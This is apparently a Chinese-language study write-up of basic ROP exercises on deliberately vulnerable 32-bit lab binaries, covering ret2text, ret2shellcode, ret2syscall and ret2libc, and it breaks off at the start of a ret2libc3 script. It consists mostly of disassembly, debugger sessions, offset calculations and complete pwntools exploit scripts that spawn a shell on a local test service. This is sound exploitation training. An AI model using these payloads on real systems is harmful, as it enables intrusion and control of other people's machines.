pwn ROP 练习

概述

主要环境/工具是 Ubuntu 16.04/Manjaro python3.5/3.8 pwntools pwndbg IDA 7.2

Basic ROP

ret2text

checksec

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

main

.text:08048648 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048648 public main
.text:08048648 main proc near                          ; DATA XREF: _start+17↑o
.text:08048648
.text:08048648 s= byte ptr -64h
.text:08048648 argc= dword ptr  8
.text:08048648 argv= dword ptr  0Ch
.text:08048648 envp= dword ptr  10h
.text:08048648
.text:08048648 ; __unwind {
.text:08048648 push    ebp
.text:08048649 mov     ebp, esp
.text:0804864B and     esp, 0FFFFFFF0h
.text:0804864E add     esp, 0FFFFFF80h
.text:08048651 mov     eax, ds:stdout@@GLIBC_2_0
.text:08048656 mov     dword ptr [esp+0Ch], 0          ; n
.text:0804865E mov     dword ptr [esp+8], 2            ; modes
.text:08048666 mov     dword ptr [esp+4], 0            ; buf
.text:0804866E mov     [esp], eax                      ; stream
.text:08048671 call    _setvbuf
.text:08048676 mov     eax, ds:__bss_start
.text:0804867B mov     dword ptr [esp+0Ch], 0          ; n
.text:08048683 mov     dword ptr [esp+8], 1            ; modes
.text:0804868B mov     dword ptr [esp+4], 0            ; buf
.text:08048693 mov     [esp], eax                      ; stream
.text:08048696 call    _setvbuf
.text:0804869B mov     dword ptr [esp], offset s       ; "There is something amazing here, do you"...
.text:080486A2 call    _puts
.text:080486A7 lea     eax, [esp+80h+s]
.text:080486AB mov     [esp], eax                      ; s
.text:080486AE call    _gets
.text:080486B3 mov     dword ptr [esp], offset format  ; "Maybe I will tell you next time !"
.text:080486BA call    _printf
.text:080486BF mov     eax, 0
.text:080486C4 leave
.text:080486C5 retn
.text:080486C5 ; } // starts at 8048648
.text:080486C5 main endp

漏洞点在 gets, 下断点 0x080486AB

pwndbg> b *0x080486AB
Breakpoint 1 at 0x80486ab: file ret2text.c, line 24.
pwndbg> r
Starting program: /home/puret/Documents/tools/build/pwnEnvironment/ret2text 
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ab in main () at ret2text.c:24
24  ret2text.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────
 EAX  0xffffce2c —▸ 0x8048329 ◂— pop    edi /* '__libc_start_main' */
 EBX  0x0
 ECX  0xffffffff
 EDX  0xf7fb3870 (_IO_stdfile_1_lock) ◂— 0x0
 EDI  0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0xffffce98 ◂— 0x0
 ESP  0xffffce10 —▸ 0x804876c ◂— push   esp /* 'There is something amazing here, do you know anything?' */
 EIP  0x80486ab (main+99) ◂— mov    dword ptr [esp], eax
─────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
 ► 0x80486ab <main+99>     mov    dword ptr [esp], eax
   0x80486ae <main+102>    call   gets@plt <0x8048460>

   0x80486b3 <main+107>    mov    dword ptr [esp], 0x80487a4
   0x80486ba <main+114>    call   printf@plt <0x8048450>

   0x80486bf <main+119>    mov    eax, 0
   0x80486c4 <main+124>    leave  
   0x80486c5 <main+125>    ret    

   0x80486c6               nop    
   0x80486c8               nop    
   0x80486ca               nop    
   0x80486cc               nop    
──────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffce10 —▸ 0x804876c ◂— push   esp /* 'There is something amazing here, do you know anything?' */
01:0004│      0xffffce14 ◂— 0x0
02:0008│      0xffffce18 ◂— 0x1
03:000c│      0xffffce1c ◂— 0x0
04:0010│      0xffffce20 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f40
05:0014│      0xffffce24 —▸ 0xf7ffd918 ◂— 0x0
06:0018│      0xffffce28 —▸ 0xffffce40 ◂— 0xffffffff
07:001c│ eax  0xffffce2c —▸ 0x8048329 ◂— pop    edi /* '__libc_start_main' */
────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────
 ► f 0  80486ab main+99
   f 1 f7e18637 __libc_start_main+247
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x080486AB

s 数组位置在 0xffffce2c,ebp = 0xffffce98 计算偏移 0xffffce98 – 0xffffce2c + 4 = 0x70

编写 exp

from pwn import *

context.log_level = 'debug'

cn = remote('127.0.0.1','6666')

call_system_addr = 0x804863A
padding = bytes((0x6c+4) * 'a','utf-8') 
payload = padding + p32(call_system_addr) 

cn.recvline()
cn.sendline(payload)
cn.recvuntil("!")

cn.interactive()

这里要注意的两个地方,一个是 sendline 会在 payload 末尾再多加一个 \n 字符,另外 gets 函数会接收字符直到 \n 并丢弃 \n 将剩余字符写入数组中

exploit

puret@ubuntu:~/Documents/tools/build/pwnEnvironment$ python3 exp.py 
[+] Opening connection to 127.0.0.1 on port 6666: Done
[DEBUG] Received 0x36 bytes:
    b'There is something amazing here, do you know anything?'
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Sent 0x75 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  3a 86 04 08  0a                                     │:···│·│
    00000075
[DEBUG] Received 0x21 bytes:
    b'Maybe I will tell you next time !'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'puret\n'
puret
$  

ret2shellcode

checksec

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

漏洞点在 gets

pwndbg> disassemble
Dump of assembler code for function main:
   0x0804852d <+0>:     push   ebp
   0x0804852e <+1>:     mov    ebp,esp
   0x08048530 <+3>:     and    esp,0xfffffff0
   0x08048533 <+6>:     add    esp,0xffffff80
=> 0x08048536 <+9>:     mov    eax,ds:0x804a060
   0x0804853b <+14>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048543 <+22>:    mov    DWORD PTR [esp+0x8],0x2
   0x0804854b <+30>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048553 <+38>:    mov    DWORD PTR [esp],eax
   0x08048556 <+41>:    call   0x8048410 <setvbuf@plt>
   0x0804855b <+46>:    mov    eax,ds:0x804a040
   0x08048560 <+51>:    mov    DWORD PTR [esp+0xc],0x0
   0x08048568 <+59>:    mov    DWORD PTR [esp+0x8],0x1
   0x08048570 <+67>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048578 <+75>:    mov    DWORD PTR [esp],eax
   0x0804857b <+78>:    call   0x8048410 <setvbuf@plt>
   0x08048580 <+83>:    mov    DWORD PTR [esp],0x8048660
   0x08048587 <+90>:    call   0x80483e0 <puts@plt>
   0x0804858c <+95>:    lea    eax,[esp+0x1c]
   0x08048590 <+99>:    mov    DWORD PTR [esp],eax
   0x08048593 <+102>:   call   0x80483d0 <gets@plt>
   0x08048598 <+107>:   mov    DWORD PTR [esp+0x8],0x64
   0x080485a0 <+115>:   lea    eax,[esp+0x1c]
   0x080485a4 <+119>:   mov    DWORD PTR [esp+0x4],eax
   0x080485a8 <+123>:   mov    DWORD PTR [esp],0x804a080
   0x080485af <+130>:   call   0x8048420 <strncpy@plt>
   0x080485b4 <+135>:   mov    DWORD PTR [esp],0x8048680
   0x080485bb <+142>:   call   0x80483c0 <printf@plt>
   0x080485c0 <+147>:   mov    eax,0x0
   0x080485c5 <+152>:   leave  
   0x080485c6 <+153>:   ret   

strncpy 把 shellcode 拷贝到 0x804a080,这个段可执行

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/puret/Tools/build/pwnEnvironment/ret2shellcode
 0x8049000  0x804a000 r-xp     1000 0      /home/puret/Tools/build/pwnEnvironment/ret2shellcode
 0x804a000  0x804b000 rwxp     1000 1000   /home/puret/Tools/build/pwnEnvironment/ret2shellcode
0xf7da9000 0xf7f8c000 r-xp   1e3000 0      /usr/lib32/libc-2.31.so
0xf7f8c000 0xf7f8e000 r-xp     2000 1e2000 /usr/lib32/libc-2.31.so
0xf7f8e000 0xf7f90000 rwxp     2000 1e4000 /usr/lib32/libc-2.31.so
0xf7f90000 0xf7f94000 rwxp     4000 0      
0xf7fcd000 0xf7fd0000 r--p     3000 0      [vvar]
0xf7fd0000 0xf7fd1000 r-xp     1000 0      [vdso]
0xf7fd1000 0xf7ffb000 r-xp    2a000 0      /usr/lib32/ld-2.31.so
0xf7ffc000 0xf7ffd000 r-xp     1000 2a000  /usr/lib32/ld-2.31.so
0xf7ffd000 0xf7ffe000 rwxp     1000 2b000  /usr/lib32/ld-2.31.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

先查看 0x804a080 够不够存 shellcode

.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)                      ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends

0x64 的空间,来看下 shellcode 的大小

>>> from pwn import *
>>> len(asm(pwnlib.shellcraft.i386.linux.sh()))
>>> 44
>>> 0x64
>>> 100

空间足够,再来计算溢出点偏移

pwndbg> b *0x08048590
Breakpoint 1 at 0x8048590: file ret2shellcode.c, line 14.
pwndbg> r
Starting program: /home/puret/Tools/build/pwnEnvironment/ret2shellcode 
No system for you this time !!!

Breakpoint 1, 0x08048590 in main () at ret2shellcode.c:14
14      ret2shellcode.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────
 EAX  0xffffd03c ◂— 0x0
 EBX  0x0
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7f8de24 (_GLOBAL_OFFSET_TABLE_) ◂— sub    al, 0x4d
 ESI  0xf7f8de24 (_GLOBAL_OFFSET_TABLE_) ◂— sub    al, 0x4d
 EBP  0xffffd0a8 ◂— 0x0
 ESP  0xffffd020 —▸ 0x8048660 ◂— dec    esi /* 'No system for you this time !!!' */
 EIP  0x8048590 (main+99) ◂— mov    dword ptr [esp], eax
───────────────────────────────────────────[ DISASM ]────────────────────────────────────────────
 ► 0x8048590 <main+99>     mov    dword ptr [esp], eax
   0x8048593 <main+102>    call   gets@plt <0x80483d0>

   0x8048598 <main+107>    mov    dword ptr [esp + 8], 0x64
   0x80485a0 <main+115>    lea    eax, [esp + 0x1c]
   0x80485a4 <main+119>    mov    dword ptr [esp + 4], eax
   0x80485a8 <main+123>    mov    dword ptr [esp], buf2 <0x804a080>
   0x80485af <main+130>    call   strncpy@plt <0x8048420>

   0x80485b4 <main+135>    mov    dword ptr [esp], 0x8048680
   0x80485bb <main+142>    call   printf@plt <0x80483c0>

   0x80485c0 <main+147>    mov    eax, 0
   0x80485c5 <main+152>    leave  
────────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ esp  0xffffd020 —▸ 0x8048660 ◂— dec    esi /* 'No system for you this time !!!' */
01:0004│      0xffffd024 ◂— 0x0
02:0008│      0xffffd028 ◂— 0x1
03:000c│      0xffffd02c ◂— 0x0
... ↓
06:0018│      0xffffd038 —▸ 0xf7ffcfcc (_GLOBAL_OFFSET_TABLE_) ◂— add    al, 0xbf
07:001c│ eax  0xffffd03c ◂— 0x0
──────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
 ► f 0  8048590 main+99
   f 1 f7dc7ee5 __libc_start_main+245
─────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x08048590
pwndbg> distance eax ebp
0xffffd03c->0xffffd0a8 is 0x6c bytes (0x1b words)
pwndbg>  

padding = 0x6c + 4

编写 exp

from pwn import *

context.log_level = 'debug'

shellcode = asm(pwnlib.shellcraft.i386.linux.sh())
buf_address = 0x804a080
payload = shellcode.ljust(0x6c+4,b'a') + p32(buf_address)

cn = remote('127.0.0.1','2920')
#cn = process('./ret2shellcode')
cn.recvuntil(b'!')
cn.sendline(payload)
cn.recvuntil(b'~')
cn.interactive()

exploit

[puret@PureT-Manjaro pwnEnvironment]$ python exp.py 
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/lib/python3.8/site-packages/pwntools-4.2.0.dev0-py3.8.egg/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push 11 /* 0xb */
        pop eax
        int 0x80
[DEBUG] /usr/bin/as -32 -o /tmp/pwn-asm-hihjng4n/step2 /tmp/pwn-asm-hihjng4n/step1
[DEBUG] /usr/bin/objcopy -j .shellcode -Obinary /tmp/pwn-asm-hihjng4n/step3 /tmp/pwn-asm-hihjng4n/step4
[+] Opening connection to 127.0.0.1 on port 2920: Done
[DEBUG] Received 0x20 bytes:
    b'No system for you this time !!!\n'
[DEBUG] Sent 0x75 bytes:
    00000000  6a 68 68 2f  2f 2f 73 68  2f 62 69 6e  89 e3 68 01  │jhh/│//sh│/bin│··h·│
    00000010  01 01 01 81  34 24 72 69  01 01 31 c9  51 6a 04 59  │····│4$ri│··1·│Qj·Y│
    00000020  01 e1 51 89  e1 31 d2 6a  0b 58 cd 80  61 61 61 61  │··Q·│·1·j│·X··│aaaa│
    00000030  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  80 a0 04 08  0a                                     │····│·│
    00000075
[DEBUG] Received 0x9 bytes:
    b'bye bye ~'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'puret\n'
puret
$  

ret2syscall

checksec

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

开了 NX,要 ROP 了,漏洞点在 gets

.text:08048E24 main proc near                          ; DATA XREF: _start+17↑o
.text:08048E24
.text:08048E24 argc= dword ptr  8
.text:08048E24 argv= dword ptr  0Ch
.text:08048E24 envp= dword ptr  10h
.text:08048E24
.text:08048E24 ; __unwind {
.text:08048E24 push    ebp
.text:08048E25 mov     ebp, esp
.text:08048E27 and     esp, 0FFFFFFF0h
.text:08048E2A add     esp, 0FFFFFF80h
.text:08048E2D mov     eax, stdout
.text:08048E32 mov     dword ptr [esp+0Ch], 0
.text:08048E3A mov     dword ptr [esp+8], 2
.text:08048E42 mov     dword ptr [esp+4], 0
.text:08048E4A mov     [esp], eax
.text:08048E4D call    setvbuf
.text:08048E52 mov     eax, stdin
.text:08048E57 mov     dword ptr [esp+0Ch], 0
.text:08048E5F mov     dword ptr [esp+8], 1
.text:08048E67 mov     dword ptr [esp+4], 0
.text:08048E6F mov     [esp], eax
.text:08048E72 call    setvbuf
.text:08048E77 mov     dword ptr [esp], offset aThisTimeNoSyst ; "This time, no system() and NO SHELLCODE"...
.text:08048E7E call    puts
.text:08048E83 mov     dword ptr [esp], offset aWhatDoYouPlanT ; "What do you plan to do?"
.text:08048E8A call    puts
.text:08048E8F lea     eax, [esp+1Ch]
.text:08048E93 mov     [esp], eax
.text:08048E96 call    gets
.text:08048E9B mov     eax, 0
.text:08048EA0 leave
.text:08048EA1 retn
.text:08048EA1 ; } // starts at 8048E24
.text:08048EA1 main endp

先计算 padding 吧

pwndbg: loaded 180 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from rop...
pwndbg> b *0x08048E96
Breakpoint 1 at 0x8048e96: file rop.c, line 15.
pwndbg> r
Starting program: /home/puret/Tools/build/pwnEnvironment/rop 
This time, no system() and NO SHELLCODE!!!
What do you plan to do?

Breakpoint 1, 0x08048e96 in main () at rop.c:15
15      rop.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────
 EAX  0xffffd05c ◂— 0x3
 EBX  0x80481a8 (_init) ◂— push   ebx
 ECX  0x80eb4d4 (_IO_stdfile_1_lock) ◂— 0x0
 EDX  0x18
 EDI  0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov    edx, dword ptr [esp + 4]                                                                                      
 ESI  0x0
 EBP  0xffffd0c8 —▸ 0x8049630 (__libc_csu_fini) ◂— push   ebx
 ESP  0xffffd040 —▸ 0xffffd05c ◂— 0x3
 EIP  0x8048e96 (main+114) ◂— call   0x804f650
───────────────────────────────────────────[ DISASM ]───────────────────────────────────────────
 ► 0x8048e96 <main+114>    call   gets <0x804f650>
        arg[0]: 0xffffd05c ◂— 0x3
        arg[1]: 0x0
        arg[2]: 0x1
        arg[3]: 0x0

   0x8048e9b <main+119>    mov    eax, 0
   0x8048ea0 <main+124>    leave  
   0x8048ea1 <main+125>    ret    

   0x8048ea2               nop    
   0x8048ea4               nop    
   0x8048ea6               nop    
   0x8048ea8               nop    
   0x8048eaa               nop    
   0x8048eac               nop    
   0x8048eae               nop    
───────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ esp  0xffffd040 —▸ 0xffffd05c ◂— 0x3
01:0004│      0xffffd044 ◂— 0x0
02:0008│      0xffffd048 ◂— 0x1
03:000c│      0xffffd04c ◂— 0x0
04:0010│      0xffffd050 ◂— 0x1
05:0014│      0xffffd054 —▸ 0xffffd154 —▸ 0xffffd30d ◂— '/home/puret/Tools/build/pwnEnvironment/rop'
06:0018│      0xffffd058 —▸ 0xffffd15c —▸ 0xffffd338 ◂— 'SHELL=/bin/bash'
07:001c│ eax  0xffffd05c ◂— 0x3
─────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
 ► f 0  8048e96 main+114
   f 1  804907a __libc_start_main+458
────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x08048E96
pwndbg> distance eax ebp
0xffffd05c->0xffffd0c8 is 0x6c bytes (0x1b words)
pwndbg> 

padding = 0x6c + 4

构造 ROP chain

[puret@PureT-Manjaro pwnEnvironment]$ ROPgadget --binary rop --only "pop|ret" | grep "eax" 
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

0x080bb196 : pop eax ; ret

[puret@PureT-Manjaro pwnEnvironment]$ ROPgadget --binary rop --only "pop|ret" | grep "ecx" 
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

通过 syscall 调用表得到 execve 调用号为 0x0b,通过 Linux manual 查看 execve 的参数

int execve(const char *path, char *const argv[], char *const envp[]);

总结下来,为了调用这个 syscall ,我们需要 eax = 0xb,ebx 指向 /bin/sh,ecx = 0,edx = 0

来找下 /bin/sh 的位置

[puret@PureT-Manjaro pwnEnvironment]$ ROPgadget --binary rop --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh

最后找一个 int 0x80 的位置

[puret@PureT-Manjaro pwnEnvironment]$ ROPgadget --binary rop --only "int"
Gadgets information
============================================================
0x08049421 : int 0x80

Unique gadgets found: 1

该有的信息都有了,可以写 exp 了

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

padding = 'a'*(0x6c+4)
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
str_bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = bytes(padding,'utf-8') + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0x0) + p32(0x0) + p32(str_bin_sh) + p32(int_0x80)

cn = remote('127.0.0.1','6787')
cn.recvuntil("?")
cn.sendline(payload)

cn.interactive()

exploit

[puret@PureT-Manjaro pwnEnvironment]$ python exp.py 
[+] Opening connection to 127.0.0.1 on port 6787: Done
[DEBUG] Received 0x43 bytes:
    b'This time, no system() and NO SHELLCODE!!!\n'
    b'What do you plan to do?\n'
[DEBUG] Sent 0x8d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  96 b1 0b 08  0b 00 00 00  90 eb 06 08  00 00 00 00  │····│····│····│····│
    00000080  00 00 00 00  08 e4 0b 08  21 94 04 08  0a           │····│····│!···│·│
    0000008d
[*] Switching to interactive mode

$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'puret\n'
puret
$  

ret2libc1

checksec

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

开了 NX,漏洞点在 gets

.text:08048618 ; __unwind {
.text:08048618 push    ebp
.text:08048619 mov     ebp, esp
.text:0804861B and     esp, 0FFFFFFF0h
.text:0804861E add     esp, 0FFFFFF80h
.text:08048621 mov     eax, ds:stdout@@GLIBC_2_0
.text:08048626 mov     dword ptr [esp+0Ch], 0          ; n
.text:0804862E mov     dword ptr [esp+8], 2            ; modes
.text:08048636 mov     dword ptr [esp+4], 0            ; buf
.text:0804863E mov     [esp], eax                      ; stream
.text:08048641 call    _setvbuf
.text:08048646 mov     eax, ds:__bss_start
.text:0804864B mov     dword ptr [esp+0Ch], 0          ; n
.text:08048653 mov     dword ptr [esp+8], 1            ; modes
.text:0804865B mov     dword ptr [esp+4], 0            ; buf
.text:08048663 mov     [esp], eax                      ; stream
.text:08048666 call    _setvbuf
.text:0804866B mov     dword ptr [esp], offset s       ; "RET2LIBC >_<"
.text:08048672 call    _puts
.text:08048677 lea     eax, [esp+80h+s]
.text:0804867B mov     [esp], eax                      ; s
.text:0804867E call    _gets
.text:08048683 mov     eax, 0
.text:08048688 leave
.text:08048689 retn
.text:08048689 ; } // starts at 8048618
.text:08048689 main endp

计算 padding

pwndbg> b *0x0804867E
Breakpoint 1 at 0x804867e: file ret2libc1.c, line 27.
pwndbg> r
Starting program: /home/puret/Tools/build/pwnEnvironment/ret2libc1 
RET2LIBC >_<

Breakpoint 1, 0x0804867e in main () at ret2libc1.c:27
27      ret2libc1.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────
 EAX  0xffffd04c ◂— 0x0
 EBX  0x0
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7f8de24 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d2c
 ESI  0xf7f8de24 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e4d2c
 EBP  0xffffd0b8 ◂— 0x0
 ESP  0xffffd030 —▸ 0xffffd04c ◂— 0x0
 EIP  0x804867e (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8
───────────────────────────────────────────[ DISASM ]────────────────────────────────────────────
 ► 0x804867e <main+102>             call   gets@plt <0x8048430>
        arg[0]: 0xffffd04c ◂— 0x0
        arg[1]: 0x0
        arg[2]: 0x1
        arg[3]: 0x0

   0x8048683 <main+107>             mov    eax, 0
   0x8048688 <main+112>             leave  
   0x8048689 <main+113>             ret    

   0x804868a                        nop    
   0x804868c                        nop    
   0x804868e                        nop    
   0x8048690 <__libc_csu_init>      push   ebp
   0x8048691 <__libc_csu_init+1>    push   edi
   0x8048692 <__libc_csu_init+2>    xor    edi, edi
   0x8048694 <__libc_csu_init+4>    push   esi
────────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ esp  0xffffd030 —▸ 0xffffd04c ◂— 0x0
01:0004│      0xffffd034 ◂— 0x0
02:0008│      0xffffd038 ◂— 0x1
03:000c│      0xffffd03c ◂— 0x0
... ↓
06:0018│      0xffffd048 —▸ 0xf7ffcfcc (_GLOBAL_OFFSET_TABLE_) ◂— 0x2bf04
07:001c│ eax  0xffffd04c ◂— 0x0
──────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
 ► f 0  804867e main+102
   f 1 f7dc7ee5 __libc_start_main+245
─────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x0804867E
pwndbg> distance eax ebp
0xffffd04c->0xffffd0b8 is 0x6c bytes (0x1b words)
pwndbg> 

0x6c + 4,ROPgadget 发现没有 int,也没有找到 system(“/bin/sh”) 的地方,但是 plt 表中有 system

用 ROPgadget 找到 /bin/sh 的位置,再找 system 位置

.plt:08048460 _system proc near                       ; CODE XREF: secure+44↓p
.plt:08048460
.plt:08048460 command= dword ptr  4
.plt:08048460
.plt:08048460 jmp     ds:off_804A018
.plt:08048460 _system endp
.plt:08048460

编写 exp

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

file = ELF('./ret2libc1')
a_system = file.plt['system']
a_str_bin_sh = 0x08048720
padding = (0x6c+4)*'a'
payload = flat(padding,a_system,'a'*4,a_str_bin_sh)

cn = remote('127.0.0.1','6787')
cn.recvuntil('<')
cn.sendline(payload)

cn.interactive()

要注意的是,栈帧结构中 call system 之后,栈后跟着的是上一次保存的 return address,再之后才是保存参数的地方

exploit

[puret@PureT-Manjaro pwnEnvironment]$ python exp.py 
[DEBUG] PLT 0x8048430 gets
[DEBUG] PLT 0x8048440 time
[DEBUG] PLT 0x8048450 puts
[DEBUG] PLT 0x8048460 system
[DEBUG] PLT 0x8048470 __gmon_start__
[DEBUG] PLT 0x8048480 srand
[DEBUG] PLT 0x8048490 __libc_start_main
[DEBUG] PLT 0x80484a0 setvbuf
[DEBUG] PLT 0x80484b0 rand
[DEBUG] PLT 0x80484c0 __isoc99_scanf
[*] '/home/puret/Tools/build/pwnEnvironment/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 6787: Done
[DEBUG] Received 0xc bytes:
    b'RET2LIBC >_<'
[DEBUG] Sent 0x7d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  60 84 04 08  61 61 61 61  20 87 04 08  0a           │`···│aaaa│ ···│·│
    0000007d
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
    b'\n'

$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'puret\n'
puret
$  

ret2libc2

这题只开了 NX,漏洞点一样在 gets 上,有 system_plt 没有 /bin/sh 字符串,需要构造 ROP Chain 输入 /bin/sh 根据栈的规律,栈的布局应该是

padding
func1_plt
balance
func1_param
func2_plt
balance
func2_param

于是我们构造 exp

from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

file = ELF('./ret2libc2')
padding = (0x6c+4)*'a'
a_gets = file.plt['gets']
a_pop_ebx_ret = 0x0804843d
a_buf2 = 0x0804A080
a_system = file.plt['system']
payload = flat([padding,a_gets,a_pop_ebx_ret,a_buf2,a_system,0xdeadbeef,a_buf2])

cn = remote('127.0.0.1','4000')
cn.recvuntil('?')
cn.sendline(payload)
cn.sendline('/bin/sh')
cn.interactive()

exploit

[puret@PureT-Manjaro pwnEnvironment]$ python exp.py 
[DEBUG] PLT 0x8048450 printf
[DEBUG] PLT 0x8048460 gets
[DEBUG] PLT 0x8048470 time
[DEBUG] PLT 0x8048480 puts
[DEBUG] PLT 0x8048490 system
[DEBUG] PLT 0x80484a0 __gmon_start__
[DEBUG] PLT 0x80484b0 srand
[DEBUG] PLT 0x80484c0 __libc_start_main
[DEBUG] PLT 0x80484d0 setvbuf
[DEBUG] PLT 0x80484e0 rand
[DEBUG] PLT 0x80484f0 __isoc99_scanf
[*] '/home/puret/Tools/build/pwnEnvironment/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to 127.0.0.1 on port 4000: Done
[DEBUG] Received 0x39 bytes:
    b"Something surprise here, but I don't think it will work.\n"
[DEBUG] Received 0x13 bytes:
    b'What do you think ?'
[DEBUG] Sent 0x89 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000070  60 84 04 08  3d 84 04 08  80 a0 04 08  90 84 04 08  │`···│=···│····│····│
    00000080  ef be ad de  80 a0 04 08  0a                        │····│····│·│
    00000089
[DEBUG] Sent 0x8 bytes:
    b'/bin/sh\n'
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0x6 bytes:
    b'puret\n'
puret
$  

ret2libc3

只开了 NX,symbols 中没有 system 和 “/bin/sh” 考虑泄露 libc,漏洞点仍然在 gets 处

要注意的点是考虑到 libc 有延迟绑定机制,泄露函数的时候要选择已经执行过的函数泄露地址,得出 libc 版本

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
